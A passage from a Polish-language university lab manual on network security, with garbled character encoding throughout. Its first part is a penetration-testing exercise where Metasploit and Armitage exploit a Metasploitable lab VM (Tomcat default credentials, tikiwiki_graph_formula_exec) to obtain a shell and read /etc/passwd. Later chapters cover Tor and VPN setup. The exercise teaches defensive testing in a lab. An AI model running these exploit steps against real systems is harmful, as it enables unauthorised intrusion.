set RPORT 8180 
set PASSWORD tomcat 
set USERNAME tomcat 
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Rys. 5.29. Metasploit – konfiguracja modułu  

	ródło: opracowanie własne. 

5.2.27. Nast�pnie wybierz ładunek, który zostanie przesłany do maszyny.  
W przykładzie zastosowany zostanie ładunek shell_bind_tcp, dzi�ki 
któremu uzyskany zostanie dost�p do konsoli atakowanego systemu. 
Wpisz w konsoli: 

set PAYLOAD linux/x86/shell_bind_tcp 

 
Rys. 5.30. Metasploit – wybór ładunku 

	ródło: opracowanie własne. 

5.2.28. Uruchom wykonanie modułu tomcat_mgr_deploy. Wpisz w konsoli: 

exploit 

 
Rys. 5.31. Metasploit – uruchomienie modułu 

	ródło: opracowanie własne. 
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5.2.29. Uzyskany został dost�p do konsoli systemu Metasploitable. Wpisz w konsoli: 

whoami 
ifconfig 

 
Rys. 5.32. Metasploit – dost�p do konsoli systemu ofiary 

	ródło: opracowanie własne. 

Zostali�my zalogowani na konto u�ytkownika tomcat55 i znajdujemy si� na 
komputerze o adresie IP 172.16.1.6 

5.2.30. Wyjd� z konsoli systemu Metasploitable i z programu Metasploit. Wpisz  
dwukrotnie w konsoli: 

exit 

5.3. A�/  ��(� 

Narz�dzie Armitage jest graficzn� nakładk� na program Metasploit, przez co 
umo�liwia wykorzystanie go bez znajomo�ci składni polece�, ale równie� 
pozwala na lepsze wykorzystanie jego mo�liwo�ci, przejrzyste wizualizowanie 
stanu całego testu penetracyjnego oraz lepszy dobór modułów do okre�lonych 
zastosowa�. 

Najnowsz� wersj� programu Armitage mo�na �ci�gn�� ze strony 
http://www.fastandeasyhacking.com/download. 
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5.3.1. Skopiuj archiwum z programem Armitage z doł�czonej płyty DVD z katalogu 
Testy penetracyjne do katalogu /root/ w systemie BackTrack. 

5.3.2. Rozpakuj archiwum. Wpisz w konsoli: 

tar zxvf armitage121310.tgz 

5.3.3. Uruchom demona msfrpcd. Składnia polecenia: 

msfrpcd -f –U <user> -P <pass> -t Basic 

gdzie: 

-f - uruchomienie demona w trybie widocznym, 
-U <user> - zdefiniowanie u�ytkownika, 
-P <pass> - zdefiniowanie hasła dla u�ytkownika. 

Wpisz w konsoli: 

msfrpcd –f –U bss –P pentest –t Basic 

 
Rys. 5.33. Uruchomienie demona MSFRPCD 

	ródło: opracowanie własne. 

5.3.4. Uruchom baz� danych, z której b�dzie korzystał program Armitage, w nowej 
instancji konsoli. Baza danych w systemie Backtrack 4R2 jest ju� wst�pnie 
skonfigurowana. Wpisz w konsoli: 

/etc/init.d/mysql start 

 
Rys. 5.34. Uruchomienie bazy danych MYSQL w systemie BackTrack 

	ródło: opracowanie własne. 

5.3.5. Wejd� do katalogu z programem Armitage i go uruchom. Wpisz w konsoli: 

cd /root/armitage 
./armitage.sh 
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5.3.6. W oknie Connect... wpisz w pola nast�puj�ce dane: 

Host 127.0.0.1 
Port 55553 
User bss 
Pass pentest 
DB Driver mysql 
DB Connect String root:”toor”@127.0.0.1/msf3 

Nast�pnie zaznacz opcj� Use SSL i wci�nij przycisk Connect 

 
Rys. 5.35. Konfiguracja programu Armitage do poł�czenia z baz� danych 

	ródło: opracowanie własne. 

5.3.7. W oknie Message kliknij OK. 

 
Rys. 5.36. Potwierdzenie poł�czenia z baz� danych MYSQL  

	ródło: opracowanie własne. 
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5.3.8. Wykonaj skanowanie sieci w celu wykrycia dost�pnych hostów. W głównym 
oknie programu Armitage wejd� w menu Hosts -> Nmap Scan -> Intense 
Scan, all TCP ports. 

 
Rys. 5.37. Uruchomienie skanowania sieci w programie Armitage 

	ródło: opracowanie własne. 

5.3.9. W oknie Input wpisz 172.16.1.0/24 i kliknij OK. 

 
Rys. 5.38. Armitage − parametry skanowania 

	ródło: opracowanie własne. 
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5.3.10. Po zako�czeniu skanowania kliknij OK. 

 
Rys. 5.39. Armitage – zako�czenie skanowania  

	ródło: opracowanie własne. 

5.3.11. W polu Targets pojawi� si� trzy znalezione maszyny. 

 
Rys. 5.40. Armitage – wykryte komputery 

	ródło: opracowanie własne. 
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5.3.12. Nast�pnie nale�y dokona� analizy mo�liwo�ci przeprowadzenia ataku  
na poszczególne hosty. Armitage umo�liwia wykorzystanie funkcji 
db_autopwn dost�pnej w �rodowisku Metasploit, aby dopasowa� 
najlepsz� mo�liwo�� przełamania zabezpiecze� danego komputera. 
Wejd� w menu Attacks -> Find Attacks -> by port. 

 
Rys. 5.41. Armitage – wyszukiwanie podatno�ci na atak 

	ródło: opracowanie własne. 

5.3.13. Po sko�czeniu analizy kliknij OK. 

 
Rys. 5.42. Armitage – zako�czenie analizy 

	ródło: opracowanie własne. 
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5.3.14. Niektóre moduły Metasploita umo�liwiaj� sprawdzenie mo�liwo�ci 
powodzenia wykonania danego exploita na zdalnym komputerze. Kliknij 
prawym przyciskiem myszy na ikonce komputera z adresem 172.16.1.6  
i wybierz Attacks -> webapp -> check exploits... 

 

 
Rys. 5.43. Armitage – sprawdzenie podatno�ci na exploit 

	ródło: opracowanie własne. 

5.3.15. W polu Tabs pojawi si� zakładka Check Exploits. Po zako�czeniu testów 
wci�nij Ctrl +F  i w pole wyszukiwania wpisz vulnerable. 

 

 
Rys. 5.44. Armitage – wyniki analizy 

	ródło: opracowanie własne. 
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Pod�wietlony zostanie jeden z pozytywnych wyników testów. System 
Metasploitable jest podatny na exploit tikiwiki_graph_formula_exec. 

5.3.16. Kliknij prawym przyciskiem na ikonie komputera 172.16.1.6 i wybierz 
Attack -> webapp -> tikiwiki_graph_formula_exec. 

 
Rys. 5.45. Armitage – wybór rodzaju ataku 

	ródło: opracowanie własne. 

5.3.17. W oknie, które si� pojawi kliknij Launch. 

Po udanym wykonaniu exploitu ikona komputera zmieni si� na czerwon�.  

 
Rys. 5.46. Armitage – wykonanie ataku 

	ródło: opracowanie własne. 
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5.3.18. Kliknij prawym przyciskiem na komputerze o adresie 172.16.1.6 i wybierz 
dowoln� powłok� (ang. shell) a nast�pnie Interact. 

 
Rys. 5.47. Armitage – wykorzystanie ataku 

	ródło: opracowanie własne. 

5.3.19. W polu zakładek pojawi si� nowa, przez któr� mo�liwy jest dost�p do  
    powłoki przej�tego systemu. Wpisz w tej konsoli: 

whoami 
cat /etc/passwd 
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Rys. 5.48. Armitage – wykonanie polece� na zdalnej maszynie 

	ródło: opracowanie własne. 

Uzyskany został dost�p do maszyny z systemem Metasploitable jako 
u�ytkownik www data i mo�liwe jest np. wy�wietlenie pliku /etc/passwd 
zawieraj�cego spis u�ytkowników przej�tego systemu. 

5.4. Z�2�"� �!"�� � 

Test penetracyjny ma na celu zbadanie systemu IT pod k�tem podatno�ci na 
znane ataki, wyszukanie luk w oprogramowaniu i bł�dów konfiguracyjnych. 
Efektem ko�cowym takiego testu powinien by� raport, w którym opisane s� wykryte 
zagro�enia oraz zaproponowane zostan� rozwi�zania wykrytych problemów. 

System Metasploitable, który został poddany testom, jest specjaln� dystrybucj� 
systemu Ubuntu, w której zainstalowano stare i/lub dziurawe oprogramowanie. 
Du�ym utrudnieniem dla potencjalnego agresora jest wi�c stosowanie mo�liwie 
najnowszego i na bie��co aktualizowanego oprogramowania. Ponadto nie nale�y 
zapomina� o aktualizacji samego systemu operacyjnego, w którym owe oprogra- 
mowanie jest uruchamiane (np. Windows Update w systemach firmy Microsoft, 
apt-get update && apt-get upgrade w systemach Debian / Ubuntu). Zawsze 
jednak mo�e zosta� ujawniona luka typu 0-day, do której nie ma dost�pnej 
poprawki – wtedy mo�e by� konieczna nawet zmiana oprogramowania (np. 
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platformy bazodanowej), je�li bezwzgl�dnym priorytetem jest bezpiecze�stwo 
danych. 

Kolejnym bł�dem jest bł�dna konfiguracja programów, usług, praw dost�pu 
etc. Atak na serwer Apache Tomcat nie powiódłby si�, gdyby podczas konfiguracji 
serwera usuni�to domy�lne hasła dost�powe.  

Pomocny przy usuwaniu bł�dów i problemów zwi�zanych z bezpiecze�stwem 
systemu jest np. raport wygenerowany przez program Nessus. W wersji darmowej 
nie zawiera on naj�wie�szych wykrytych luk i bł�dów, jednak mimo to oferuje 
rozbudowan� pomoc dotycz�c� metod zabezpiecze� wykrytych problemów. Przy 
wielu wykrytych bł�dach znajduj� si� wskazówki konfiguracyjne (np. propozycja 
zmiany niebezpiecznej usługi telnet na szyfrowane ssh, sugestie dotycz�ce 
blokowania ruchu na wybranych portach) i/lub odno�niki do dost�pnych poprawek 
(patchy). W przypadku wykrycia luk w systemach z rodziny Windows w opisach 
luk znajduj� si� równie� odno�niki do portalu Microsoft TechNet, gdzie mo�na 
dokładnie zapozna� si� z analiz� bł�dów i pobra� poprawki do programów firmy 
Microsoft. Drugim wa�nym aspektem raportów programu Nessus jest oszacowanie 
poziomu ryzyka dotycz�cego ka�dego problemu – dzi�ki temu ułatwiona jest 
priorytetyzacja działa� maj�cych na celu zabezpieczenie systemu informatycznego. 
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6. TOR – A�
 ��� 
 � 
 �B�� ��������	�� 

Opracował: Sebastian Bugała 
Cel �wiczenia: Poznanie mo�liwo�ci zapewnienia anonimowo�ci  

w Internecie przy pomocy technologii trasowania 
cebulowego 

Potrzebne narz�dzia: Microsoft Windows 7, Ubuntu 10.10, Tor Browser 
Instant Messaging Bundle, Mozilla Firefox, Vidalia, 
xB Browser, biblioteka WinPcap 

Literatura: Dominika Lisiak-Felicka, Anonimowo�� w Sieci, w: 
Hakin9 01/2009, ss. 48-51. Maciej Szmit, Routing 
cebulowy w: Magazyn Hakin9 03/2008, ss. 14-17. 

TOR (The Onion Router) jest programem implementuj�cym wirtualn� sie� 
komputerow�, której charakterystyka działania umo�liwia anonimowy dost�p  
do zasobów Internetu i zapobiega analizie ruchu. Anonimowo�� jest zapewniana 
poprzez zastosowanie techniki trasowania cebulowego – ka�dy pakiet jest 
wielokrotnie szyfrowany i przesyłany przez kolejne w�zły zwane routerami 
cebulowymi. Ka�dy router usuwa jedn� warstw� szyfrowania, dzi�ki czemu 
uzyskuje informacje o nast�pnym routerze po�rednicz�cym i przesyła pakiet dalej. 

W �wiczeniu zaprezentowana zostanie mo�liwo�� u�ycia usługi TOR do 
ukrycia adresu IP swojego komputera. 

 
Rys. 6.1. Topologia sieci wykorzystana w �wiczeniu 

	ródło: opracowanie własne. 
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6.1. I����+�!&���
 �>������  �$#���0 

6.1.1. Uruchom wirtualn� maszyn� z systemem Windows 7 i zaloguj si� do 
systemu. 

6.1.2. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

ping www.google.pl 

6.1.3. Na maszyn� wirtualn� z systemem Windows 7 skopiuj pliki z płyty DVD  
z katalogu TOR do katalogu roboczego. 

6.1.4. Zainstaluj program Mozilla Firefox (proces instalacji przedstawiono  
w punkcie 4.3).  

6.1.5. Nast�pnie uruchom instalator biblioteki WinPcap (proces instalacji 
przedstawiono w punkcie 4.3). 

6.1.6. Uruchom instalator programu Vidalia implementuj�cego usług� TOR. 

6.1.7. Na pierwszym ekranie mo�na wybra� j�zyk programu. Wybierz instalacj� 
w j�zyku polskim, a nast�pnie wci�nij OK. 

 
Rys. 6.2. Vidalia Bundle − wybór j�zyka 

	ródło: opracowanie własne. 
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6.1.8. Uruchomi si� kreator instalacji programu Vidalia. Kliknij Dalej. 

 
Rys. 6.3. Kreator instalacji Vidalia Bundle 

�ródło: opracowanie własne. 

6.1.9. Nast�pnie nale�y wybra� składniki pakietu. Zaznacz wszystkie pozycie  
i kliknij Dalej. 

 
Rys. 6.4. Wybór komponentów do instalacji 

�ródło: opracowanie własne. 
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6.1.10. Na kolejnym ekranie mo�na wybra� �cie�k� dla instalacji. Kliknij przycisk 
Zainstaluj. 

 
Rys. 6.5. Vidalia Bundle − wybór miejsca instalacji pakietu 

	ródło: opracowanie własne. 

6.1.11. Nast�pnie zostaniesz poproszony o potwierdzenie instalacji dodatku 
TorButton do przegl�darki Mozilla Firefox. Wci�nij Zainstaluj. 

 
Rys. 6.6. Instalacja dodatku Tor Button dla przegl�darki Firefox 

	ródło: opracowanie własne. 
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6.1.12. Zrestartuj przegl�dark�, klikaj�c przycisk Uruchom ponownie program 
Firefox. 

 
Rys. 6.7. Tor Button ko�czenie procesu instalacji 

	ródło: opracowanie własne. 

6.1.13. Instalacja została uko�czona. Na dwóch kolejnych ekranach kliknij 
odpowiednio Dalej oraz Zako�cz. 

 
Rys. 6.8. Vidalia Bundle ko�czenie procesu instalacji 

	ródło: opracowanie własne. 
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Rys. 6.9. Vidalia Bundle ko�czenie pracy kreatora instalacji 

	ródło: opracowanie własne. 

6.1.14. Uruchom przegl�dark� Mozilla Firefox. 

6.1.15. Upewnij si�, �e w prawym dolnym rogu widnieje napis Tor wył�czony. 

 
Rys. 6.10. Weryfikacja działania dodatku Tor Buton 

	ródło: opracowanie własne. 
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6.1.16. Sprawd� swój adres IP. Wejd� na stron� http://www.kurshtml.boo.pl/ip/ 

 
Rys. 6.11. Weryfikacja adresu IP dla przegl�darki nie korzystaj�cej z sieci TOR 

	ródło: opracowanie własne. 

6.1.17. Kliknij na napisie Tor wył�czony i załaduj powy�sz� stron� ponownie.  

 
Rys. 6.12. Weryfikacja adresu IP dla przegl�darki korzystaj�cej z sieci TOR 

	ródło: opracowanie własne. 
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Adres IP wy�wietlany przez stron� testow� w przegl�darce Firefox zmienia 
si�, co potwierdza prawidłowe działanie dodatku Tor Buton, który po uaktywnieniu 
wymusza na przegl�darce korzystanie z sieci TOR. 

6.2. I����+�!&���
 �>�����1 2-��-�45645 

6.2.1. Przed przyst�pieniem do instalacji niezb�dne jest uaktualnienie repozytoriów 
systemu, jako root edytuj list� �ródeł przy pomocy nast�puj�cego polecenia: 

nano /etc/apt/sources.list 

a nast�pnie dodaj na ko�cu listy poni�szy wpis: 

deb     http://deb.torproject.org/torproject.org maverick main 

 
Rys. 6.13. Ubuntu 10.10 - dodawanie nowego repozytorium do listy �ródeł 

	ródło: opracowanie własne. 

6.2.2. Wpisz w konsoli: 

gpg --keyserver keys.gnupg.net --recv 886DDD89 
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-
key add – 
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nast�pnie pobierz now� list� aplikacji z repozytorium poleceniem: 

apt-get update 

i zainstaluj Tora, wpisuj�c: 

apt-get install tor tor-geoipdb 

6.2.3. Przejd� do katalogu /etc/polipo/ i podmie� plik config na ten znajduj�cy 
si� w katalogu /TOR na płycie DVD. 

6.2.4. Zrestartuj polipo poleceniem: 

/etc/init.d/polipo restart 

6.2.5. Uruchom przegl�dark� Firefox i odwied� nast�puj�cy adres https://addons. 
mozilla.org/pl/firefox/addon/torbutton/ w celu pobrania dodatku torbutton: 

6.2.6. Kliknij pobierz, a nast�pnie post�puj zgodnie z opisem z punktów 6.1.11-
6.1.12. 

6.2.7. Uruchom przegl�dark� Mozilla Firefox, a nast�pnie wykonaj raz jeszcze 
czynno�ci z punktów 6.1.15 - 6.1.17. 

6.3. Pakiet XeroBank Browser 

xB Browser (dawniej Torpark) to darmowa przegl�darka internetowa oparta 
o przegl�dark� Firefox, przygotowana pod k�tem bezpiecze�stwa. xB Browser nie 
zostawia �adnych �ladów, zapewniaj�c wysok� anonimowo�� przy eksplorowaniu 
sieci Internet. 

6.3.1. Pobierz ze strony https://xerobank.com/download/ najnowsz� wersje pakietu 
XeroBank. 
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6.3.2. Uruchom instalator przeczytaj i zatwierd� warunki licencji klikaj�c I Agree 
(rys. 6.14). 

 
Rys. 6.14. Instalator pakiety XeroBank 

	ródło: opracowanie własne. 

6.3.3. Wska� miejsce na dysku, w którym zainstalowany zostanie pakiet (rys. 6.15), 
nast�pnie przejd� dalej klikaj�c przycisk Next >. 

 
Rys. 6.15. Wybór miejsca instalacji pakietu XeroBank 

	ródło: opracowanie własne. 
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6.3.4. Wybierz Tor Version darmowy odpowiednik aplikacji (rys. 6.16). 

 
Rys. 6.16. Wybór darmowej wersji oprogramowania 

	ródło: opracowanie własne. 

6.3.5. Na kolejnym ekranie przejd� dalej, klikaj�c Next >(rys. 6.17). 

 
Rys. 6.17. Wybór komponentów do instalacji 

	ródło: opracowanie własne. 
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Nast�pnie aplikacja rozpocznie proces instalacji, który ilustruje poni�szy 
rysunek. 

 
Rys. 6.18. Proces instalacji pakietu XeroBank 

	ródło: opracowanie własne. 

6.3.6. Po zako�czeniu procesu instalacji na ostatnim ekranie zaznacz opcje Create 
Desktop and Start Menu Shortcuts i wybierz Finish (rys. 6.19). 

 
Rys. 6.19. Ko�czenie pracy kreatora pakietu XeroBank 

	ródło: opracowanie własne. 
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6.3.7. Uruchom dowoln� dost�pn� przegl�dark� internetow� i odwied� adres 
http://www.ip-adress.com/ w celu sprawdzenia własnego zewn�trznego 
adresu IP. 

Poni�szy rysunek przedstawia działanie strony w przypadku Politechniki 
Łódzkiej. 

 
Rys. 6.20. Zewn�trzny adres IP wykorzystywanego komputera  

według strony www.ip-adress.com 
	ródło: opracowanie własne. 

6.3.8. Uruchom przegl�dark� xB Browser, wybieraj�c Start -> Wszystkie 
programy -> XeroBank -> xB Browser.lnk i powtórz czynno�ci  
z poprzedniego punktu, a nast�pnie porównaj otrzymane wyniki. 

Poni�szy rysunek prezentuje działanie strony w przegl�darce xB Browser dla 
Politechniki Łódzkiej. Adres IP zmienił si�, poniewa� przegl�darka ta w swoim 
działaniu domy�lnie korzysta z sieci TOR. 

 
Rys. 6.21. Adres IP Politechniki Łódzkiej według strony www.ip-adress.com przy u�yciu 

przegl�darki xB Browser. 	ródło: opracowanie własne. 
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6.4. T#����#�������������� ����( �(��-�$+������&��$+���  �$#�� 

Tor Browser Instant Messaging Bundle to narz�dzie nale��ce do grupy 
portable (ang. przeno�ny); oznacza to, �e nie wymaga instalowania i mo�emy 
zabra� je ze sob� w dowolne miejsce przy u�yciu pami�ci przeno�nej USB (ang. 
Universal Serial Bus – uniwersalna magistrala szeregowa). Narz�dzie to oferuje 
dwie funkcjonalno�ci – przegl�dark� stron www (portable firefox) oraz komunikator 
tekstowy (portable pidgin), przy czym obie aplikacje w działaniu korzystaj�  
z sieci TOR, daj�c nam komfort anonimowo�ci w ka�dym miejscu, w którym 
b�dziemy korzystali z sieci Internet. Aplikacja dost�pna jest pod wi�kszo�� 
popularnych systemów operacyjnych, takich jak: Windows, Mac OS X oraz Linux. 

6.4.1. Przejd� na wirtualn� maszyn� z systemem Windows 7 i pobierz najnowsz� 
stabiln� wersj� Tor Browser Instant Messaging Bundle dla systemu z rodziny 
Windows ze strony producenta znajduj�cej si� pod nast�puj�cym adresem: 
http://www.torproject.org/download/download.html.en 

6.4.2. Przed pierwszym u�yciem aplikacje trzeba rozpakowa�, w tym celu kliknij 
dwukrotnie na pobranym pliku i wska� dowolne miejsce na dysku, gdzie 
zostanie rozpakowana aplikacja (np. „C:\TOR\” ), a nast�pnie kliknij Extract 
(rys. 6.22). 

 
Rys. 6.22. Proces rozpakowywania archiwum zawieraj�cego  

Tor Browser Instant Messaging Kundle 
	ródło: opracowanie własne. 
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6.4.3. Gdy proces rozpakowywania archiwum zostanie uko�czony przejd� do 
katalogu, który wskazałe� w poleceniu wy�ej (w naszym przypadku 
C:\TOR\Tor Browser), a nast�pnie uruchom aplikacje, klikaj�c dwukrotnie 
na Start Tor Browser.exe (rys. 6.23). 

 
Rys. 6.23. Uruchamianie Tor Browser Instant Messaging Bundle 

	ródło: opracowanie własne. 

6.4.4. Po uruchomieniu wy�wietlony zostanie Vidalia Control Panel oraz rozpocz�ty 
zostanie proces ł�czenia si� z sieci� TOR; je�eli proces ł�czenia przebiegnie 
prawidłowo, w górnej cz��ci panelu wy�wietlona zostanie nast�puj�ca 
informacja: „Connected to the Tor network!”  (rys. 6.24), a charakterystyczna 
ikona w kształcie cebuli w zasobniku systemowym zmieni kolor na zielony 
(rys. 6.25). 

 
Rys. 6.24. Panek kontrolny aplikacji TOR 

	ródło: opracowanie własne. 
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Rys. 6.25. Charakterystyczny wygl�d ikony aplikacji w zasobniku systemowym 

	ródło: opracowanie własne. 

6.4.5. Natychmiast po poł�czeniu si� z sieci� aplikacja otworzy okno prze-
gl�darki, ł�cz�c si� z nast�puj�cym adresem: https://check.torproject.org/, raz 
jeszcze potwierdzaj�c, �e korzystasz z sieci TOR. 

 
Rys. 6.26. Widok strony sprawdzaj�cej czy korzystamy z sieci TOR dla przegl�darki 

wchodz�cej w skład pakietu Tor Browser Instant Messaging Kundle 
	ródło: opracowanie własne. 

Wraz z przegl�dark� uruchomiony zostanie kreator dodawania konta  
w komunikatorze tekstowym Pidgin. 

 
Rys. 6.27. Kreator dodawania nowego konta w komunikatorze Pidgin 

	ródło: opracowanie własne. 
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6.4.6. Aby potwierdzi�, �e jedynie przegl�darka uruchomiona przy starcie aplikacji 
chroni Twoj� anonimowo�� odwied� adres z poprzedniego punktu, 
wykorzystuj�c dowoln� inn� przegl�dark�. Poni�szy rysunek prezentuje 
wynik działania tego typu eksperymentu. 

 
Rys. 6.28. Widok strony sprawdzaj�cej czy korzystamy z sieci TOR dla przegl�darki 

niekorzystaj�cej z sieci TOR. 	ródło: opracowanie własne. 

Po zamkni�ci okna przegl�darki oraz komunikatora aplikacja automatycznie 
rozł�czy si� z sieci� TOR i zako�czy działanie. 

6.5. T#����#������-�$+������&��$+��3 �-.>� 

6.5.1. Przejd� na wirtualn� maszyn� z systemem Ubuntu 10.10 i pobierz 
najnowsz� wersje Tor Browser Bundle dla systemu z rodziny Linux ze 
strony producenta http://www.torproject.org/download/download.html.en . 

6.5.2. Przejd� do katalogu, w którym zapisałe� archiwum, nast�pnie rozpakuj je 
prawym przyciskiem myszy na archiwum i wybieraj�c Extract Here. 

 
Rys. 6.29. Tor Browser Bundle – rozpakowywanie archiwum  

	ródło: opracowanie własne. 
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6.5.3. Przejd� do powstałego w procesie rozpakowywania katalogu i uruchom 
aplikacje klikaj�c dwukrotnie start-tor-browser, a nast�pnie Run (rys. 6.30), 

 
Rys. 6.30. Tor Browser Bundle – uruchamianie aplikacji 

	ródło: opracowanie własne. 

Tak jak w przypadku wersji dost�pnej na systemy z rodziny Windows 
uruchomiony zostanie Vidalia Control Panel, a po udanym poł�czeniu do sieci 
TOR uruchomiona zostanie odpowiednio skonfigurowana przegl�darka, która 
poł�czy si� ze stron� maj�c� zweryfikowa� czy korzystasz z sieci TOR. 
Zamkni�cie okna przegl�darki zatrzymuje działanie aplikacji. 
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7. W���1�3������B���)� ����  

Opracował: Sebastian Bugała 
Cel �wiczenia: Konfiguracja serwera oraz klienta usługi VPN 
Potrzebne narz�dzia: Microsoft Windows server 2003, Microsoft Wndows 

7, BackTrack 4, Ubuntu 10.10, OpenVPN, OpenSSL. 
Literatura: M. Szmit, M. Gusta, M. Tomaszewski,  

101 zabezpiecze� przed atakami w sieci komputerowej, 
Wyd. Helion, 2005, ss. 463-466. 

VPN (ang. Virtual Private Network, Wirtualna Sie� Prywatna) to struktura 
logiczna bazuj�ca na rzeczywistej sieci, takiej jak np. Internet, umo�liwiaj�ca 
zestawienie tunelowanego poł�czenia miedzy u�ytkownikami tej struktury w taki 
sposób, �e w�zły sieci rzeczywistej staj� si� „ przezroczyste”  dla pakietów 
przesyłanych w ramach poł�czenia VPN. Taki tunel jest najcz��ciej kompresowany 
lub szyfrowany w celu zapewnienia lepszej jako�ci lub odpowiedniego poziomu 
bezpiecze�stwa przesyłanych danych. Poł�czenia VPN wykorzystywane s� w 
miejscach, gdzie nie istnieje mo�liwo�� lub nie jest opłacalne stworzenie własnej 
prywatnej infrastruktury sieciowej. 

 
Rys. 7.1. Topologia sieci wykorzystana w �wiczeniu 

	ródło: opracowanie własne. 
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7.1. K#�% (-��!&����������,����������/  ���  �$#������=���;55<� 

7.1.1. Start -> Panel sterowania -> Narz�dzia administracyjne -> Zarz�dzanie 
tym serwerem, w oknie, które si� pojawi wybierz Dodaj lub usu� rol�. 

 
Rys. 7.2. Dodanie serwera VPN w systemie Windows Server 2003 

	ródło: opracowanie własne. 

7.1.2. Kliknij Dalej. 

 
Rys. 7.3. Uruchomienie kreatora dodawana serwera 

	ródło: opracowanie własne. 
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7.1.3. Na kolejnej stronie wybierz opcj� Konfiguracja niestandardowa i kliknij 
Dalej. 

 
Rys. 7.4. Niestandardowa konfiguracja serwera 

	ródło: opracowanie własne. 

7.1.4. Z listy wybierz Serwer dost�pu zdalnego/sieci VPN i Dalej. 

 
Rys. 7.5. Wybór roli serwera 
	ródło: opracowanie własne. 
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7.1.5. Na kolejnych dwóch ekranach kliknij Dalej. 

7.1.6. Wybierz opcj� Dost�p zdalny (poł�czenie telefoniczne lub sie� VPN)  
i Dalej. 

 
Rys. 7.6. Widok kreatora instalacji serwera dost�pu zdalnego 

	ródło: opracowanie własne. 

7.1.7. Nast�pnie Serwer sieci VPN i Dalej. 

 
Rys. 7.7. Konfiguracja sposobu dost�pu do serwera 

	ródło: opracowanie własne. 
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7.1.8. Na kolejnym ekranie zaznacz adapter sieciowy, który b�dzie u�ywany 
przez usług� VPN (adapter musi posiada� dost�p do Internetu). 

 
Rys. 7.8. Wybór adaptera sieciowego dla usługi VPN 

	ródło: opracowanie własne. 

7.1.9. Wybierz Automatycznie jako sposób przypisywania klientom zdalnym 
adresów IP i przejd� Dalej. 

 
Rys. 7.9. Wybór sposobu adresacji klientów zdalnych 

	ródło: opracowanie własne. 
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7.1.10. Na kolejnym ekranie wybierz opcj� Nie, u�yj� usługi routingu i dost�pu 
zdalnego do uwierzytelniania ��da� poł�cze�. 

 
Rys. 7.10. Wybór sposobu uwierzytelniania 

	ródło: opracowanie własne. 

7.1.11. Na dwóch kolejnych ekranach podwójnie potwierd� przyciskiem Zako�cz  
    utworzenie serwera VPN. 

  

Rys. 7.11 Potwierdzenie utworzenia serwera 
	ródło: opracowanie własne. 

Aby móc korzysta� z dost�pu zdalnego, musisz utworzy� w systemie konto 
u�ytkownika, któremu zezwolisz na dost�p przez usług� VPN.  
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7.1.12. Konto tworzy si� wchodz�c w menu Start, nast�pnie prawym przyciskiem 
myszy na Mój komputer i wybierz Zarz�dzaj. W oknie, które si� pojawia, 
wybierz U�ytkownicy i grupy lokalne -> U�ytkownicy.  

7.1.13. Z menu na górze wybierz Akcja -> Nowy u�ytkownik i wypełnij formularz 
dla nowego u�ytkownika. 

 
Rys. 7.12. Dodawane nowych u�ytkowników 

	ródło: opracowanie własne. 

7.1.14. Dodaj nowego u�ytkownika o nazwie student, jako hasło ustaw 
„password” . Dodatkowo zaznacz opcj� U�ytkownik musi zmieni� hasło 
przy nast�pnym logowaniu. Aby doda� u�ytkownika, wybierz Utwórz. 

 
Rys. 7.13. Formularz dodawania nowego u�ytkownika 

	ródło: opracowanie własne. 
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Po stworzeniu konta musisz mu jeszcze zezwoli� na dost�p zdalny, kliknij 
prawym klawiszem na u�ytkowniku i wybierz Wła�ciwo�ci -> Telefonowanie  
i zaznaczamy opcj� Zezwalaj na dost�p. 

 
Rys. 7.14. Dodawanie prawa dost�pu zdalnego dla u�ytkownika 

	ródło: opracowanie własne. 

7.2. K#�% (-��!&���+ �����,����������/  ���  �$#���0 

W systemie Windows 7, dzi�ki przejrzystemu kreatorowi nowego poł�czenia, 
mo�emy bardzo szybko skonfigurowa� usług� dost�pu zdalnego do wirtualnej 
sieci prywatnej. 

7.2.1. Aby rozpocz�� konfiguracje przejd� do Centrum sieci i udost�pniania,  
w tym celu wybierz Start -> Panel sterowania -> Wy�wietl stan sieci  
i zadania (kat. Sieci i Internet). 
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7.2.2. W oknie, które si� pojawi wybierz Skonfiguruj nowe poł�czenie lub now� 
sie� (rys. 7.15). 

 
Rys. 7.15. Kreator nowego poł�czenia  

	ródło: opracowanie własne. 

7.2.3. Nast�pnie wybierz Poł�cz z miejscem pracy. Skonfiguruj poł�czenie tele-
foniczne lub poł�czenie VPN z miejscem pracy (rys. 7.16) i przejd� Dalej. 

 
Rys. 7.16. Wybór typu poł�czenia sieciowego 

	ródło: opracowanie własne. 
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7.2.4. Na kolejnej stronie wybierz U�yj mojego poł�czenia internetowego (VPN) 
(rys. 7.17). 

 
Rys. 7.17. Wybór sposobu polaczenia 

	ródło: opracowanie własne. 

7.2.5. W polu Adres internetowy wpisz adres IP serwera VPN, z którym chcesz 
nawi�za� poł�czenie (172.16.1.30), w polu Nazwa miejsca docelowego: 
wpisz nazw� poł�czenia oraz zaznacz opcje Nie ł�cz teraz, tylko skonfi- 
guruj, aby mo�na było poł�czy� si� pó�niej, po czym wybierz przycisk 
Dalej. 

 
Rys. 7.18. Konfiguracja adresu i nazwy poł�czenia 

	ródło: opracowanie własne. 
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7.2.6. Wypełnij pola Nazwa u�ytkownika oraz Hasło danymi dostarczonymi 
przez administratora (login – student, hasło – password) serwera VPN,  
z którym chcesz nawi�za� poł�czenie i kliknij Utwórz (rys. 7.19). 

 
Rys. 7.19. Uwierzytelnianie poł�czenia 

	ródło: opracowanie własne. 

7.2.7. W tym kroku mo�esz ju� nawi�za� poł�czenie z serwerem lub wybra� 
Zamknij i przej�� do nast�pnego punktu (rys. 7.20). 

 
Rys. 7.20. Ko�czenie pracy kreatora nowego polaczenia 

	ródło: opracowanie własne. 
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7.2.8. Po zako�czeniu konfiguracji w Poł�czeniach sieciowych pojawi si� nowe 
poł�czenie o nazwie nadanej w kroku 7.2.5. Dwukrotne klikniecie na ikon� 
poł�czenia spowoduje wy�wietlenia okna, w którym wpisz hasło dostarczone 
przez administratora takie samo jak w kroku 7.2.6 i wybierz Poł�cz.  

 
Rys. 7.21. Ustanowienie poł�czenia z serwerem 

	ródło: opracowanie własne. 

7.3. K#�% (-��!&����������
 ���,����������/  ��
 �2 ���965 

7.3.1. Przejd� do wirtualnej maszyny z systemem Debian 5.0. 

7.3.2. Aby pobra� aplikacje OpenVPN edytuj list� adresów repozytoriów za 
pomoc� poni�szego polecenia: 

nano /etc/apt/sources/list 

